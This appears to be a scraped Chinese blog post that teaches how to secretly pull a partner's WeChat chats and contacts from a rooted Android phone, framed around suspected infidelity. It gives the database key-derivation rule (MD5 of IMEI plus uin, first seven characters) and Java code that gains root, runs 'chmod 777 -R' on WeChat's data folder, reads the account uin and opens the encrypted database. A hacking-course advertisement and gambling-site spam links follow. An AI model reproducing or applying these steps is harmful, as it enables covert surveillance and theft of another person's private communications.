【黑客技术|信息安全】怀疑另一半出轨怎么办?不联网也能提取他的微信聊天记录和通讯录!_怎么盗别人的微信

【黑客技术|信息安全】怀疑另一半出轨怎么办?不联网也能提取他的微信聊天记录和通讯录!_怎么盗别人的微信

最近很多人留言问能不能获取取微信里面的通讯录,聊天记录等等,我们依次尝试的如下几个方案:总体来说已经实现。

我们是怎么知道微信把用户以及聊天的信息存到了本地数据库呢?

当我们打开手机的飞行模式的时候,打开微信,依旧可以看到里面的通讯录以及聊天记录。那么就说明微信肯定是将你能看到的所有信息都保存在了本地数据库里面,只是他将本地数据库加了密。既然存在了本地,我们就有办法把它取出来。

本地数据库的密码是什么呢?

静态破解数据库,我就直接介绍下微信本地数据库的加密规则了:

1.获取手机IMEI码

2.获取当前登录微信账号的uin(存储在sp里面)

3.拼接IMEI和uin

4.将拼接完的字符串进行md5加密

5.截取加完密的字符串的前七位(字母必须为小写)

那七位字符串就是数据库的密码了。因为微信已经有数亿的用户了,并且本地数据库又是存在用户的手机上,所以微信肯定不会轻易的对数据库进行大规模修改,所以密码的加密规则也是不可能变的!

适用范围:已经获取root权限的手机

如果你的手机没有root,那下面的代码对你手机都是无效的哦~

下面正式进入主题

一、大致浏览下微信的目录

1.连接上你的手机,打开开发者模式

2.打开Android Device Monitor 3.进入到File Explorer子页,查看微信目录 /data/data/com.tencent.mm

如果你发现文件夹打不开,或者发现点击/data目录里面没有内容,可能是因为没有权限,请在Command中依次执行如下命令:

大概的介绍下微信的目录结构,本地数据库都在MicroMsg文件夹里面,SharedPerferences文件都在shared_prefs文件夹里面。之前说的获取数据库密码时候需要的uin就是存在微信的SharedPreferences里面,对应的是 /data/data/com.tencent.mm/shared_prefs文件夹。

微信的本地数据库存放在 /data/data/com.tencent.mm/MicroMsg里面的一长串字符串的目录里面 注意:如果你登录过多个账号就会出现多个此类的文件夹,所以我们在之后的代码中会通过循环来查找当前登录用户对应的数据库文件

二、授予当前app管理员权限以及修改微信目录的读写权限

最好在app一启动就执行下面的代码,并且在每次获取数据库内容的时候也要再次执行,避免出现无权限读取微信相关文件的异常

public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";

execRootCmd("chmod 777 -R " + WX_ROOT_PATH);

/**

* 执行linux指令

*

* @param paramString

*/

public void execRootCmd(String paramString) {

try {

Process localProcess = Runtime.getRuntime().exec("su");

Object localObject = localProcess.getOutputStream();

DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);

String str = String.valueOf(paramString);

localObject = str + " ";

localDataOutputStream.writeBytes((String) localObject);

localDataOutputStream.flush();

localDataOutputStream.writeBytes("exit ");

localDataOutputStream.flush();

localProcess.waitFor();

localObject = localProcess.exitValue();

} catch (Exception localException) {

localException.printStackTrace();

每次准备读取数据库之前都需要执行一次该命令。Process localProcess = Runtime.getRuntime().exec(“su”)先通过这个命令,使得当前app获取到root权限,然后再通过chmod命令来修改微信的data目录的读写权限,因为我们需要操作读取微信的数据库文件以及sp文件,所以必须要有微信文件的操作权限。

获取手机IMEI

IMEI的获取方法就很简单了,相信各位都知道吧。唯一注意的就是要添加权限

获取微信的uin

微信的uin是存储在SharedPerferences里面,所以我们要在微信目录的shared_prefs文件夹里面查找其存放的xml文件,然后去解析它。

/**

* 获取微信的uid

* 微信的uid存储在SharedPreferences里面

* 存储位置datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml

*/

private void initCurrWxUin() {

mCurrWxUin = null;

File file = new File(WX_SP_UIN_PATH);

try {

FileInputStream in = new FileInputStream(file);

SAXReader saxReader = new SAXReader();

Document document = saxReader.read(in);

Element root = document.getRootElement();

List elements = root.elements();

for (Element element : elements) {

if ("_auth_uin".equals(element.attributeValue("name"))) {

mCurrWxUin = element.attributeValue("value");

}

}

} catch (Exception e) {

e.printStackTrace();

LogUtil.log("获取微信uid失败,请检查auth_info_key_prefs文件权限");

微信的uin是存放在sharedPerferences文件夹里面的,具体路径为datadatacom.tencent.mmshared_prefsauth_info_key_prefs.xml。让我们来打开这个xml文件看看里面到底是什么样子的,还有我们需要的uin到底是存放在什么地方: 我们解析xml用的dom4j这个库里面的SAXReader,如果没有这个库的同学可以去这里下载

五、生成数据库密码

这一步比较容易,通过拼接字符串以及md5加密后就可以获取到数据库的密码

六、查找微信目录下的数据库文件

因为我们需要通过密码来连接微信的EnMicroMsg.db文件,所以我们需要先通过匹配算法把我们需要的db文件给查找出来。如果该手机的用户切换过登录账号,那么每个账号都会生成一个EnMicroMsg.db,所以我们要把所有的db文件都给匹配出来。

七、连接数据库

终于到了最关键的一步了。这时候需要注意两点:

1.我们千万不可以直接通过net.sqlcipher.database.SQLiteDatabase这个类来连接我们上一步里面查找到的微信目录下的EnMicroMsg.db文件,可能是因为一个数据库文件不能被多次连接的情况,只要我们一成功连接上那个db文件,微信的客户端就会自动退出登录,并且会出现异常。所有我现在的做法是把这个db文件拷贝到我们自己的app目录下,再进行连接。

2.当我们有多账号登录过,就会存在多个EnMicroMsg.db文件,但是我们的数据库密码只有一个,也就是说通过这个密码能连接成功的数据库就表明是当前微信登录用户的数据库。因为sqlcipher这个库中没有提供校验密码的方法,所以我们只能每次通过强行连接来判断密码是否正确,如果正确的话代码就会正常执行,错误的话就会抛出异常,因此我们要在这个方法外面加上try-catch来处理密码错误的异常。

黑客/网络安全学习包

资料目录

成长路线图&学习规划

配套视频教程

SRC&黑客文籍

护网行动资料

黑客必读书单

面试题合集

网络安全学习路线&学习资源

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

需要的话可以扫描下方卡片加我耗油发给你(都是无偿分享的),大家也可以一起学习交流一下。

网络安全学习路线&学习资源

相关手记

bet体育365官网安全吗 火影忍者重返木叶条件

火影忍者重返木叶条件

10-13 👁️ 9311
365bet手机在线 一种砖块生产用原料粉碎装置的制作方法
365bet手机在线 仳别的解释

仳别的解释

07-02 👁️ 6836
bet体育365官网安全吗 电脑装双XP系统教程(详细教你如何在一台电脑上安装两个XP操作系统)
bet体育365官网安全吗 煮豆子,直接下锅是大错!教你正确方法,不管啥豆子,8分钟煮烂
365提款一直在审核 揭秘快手美颜算法:如何打造网红级完美妆容?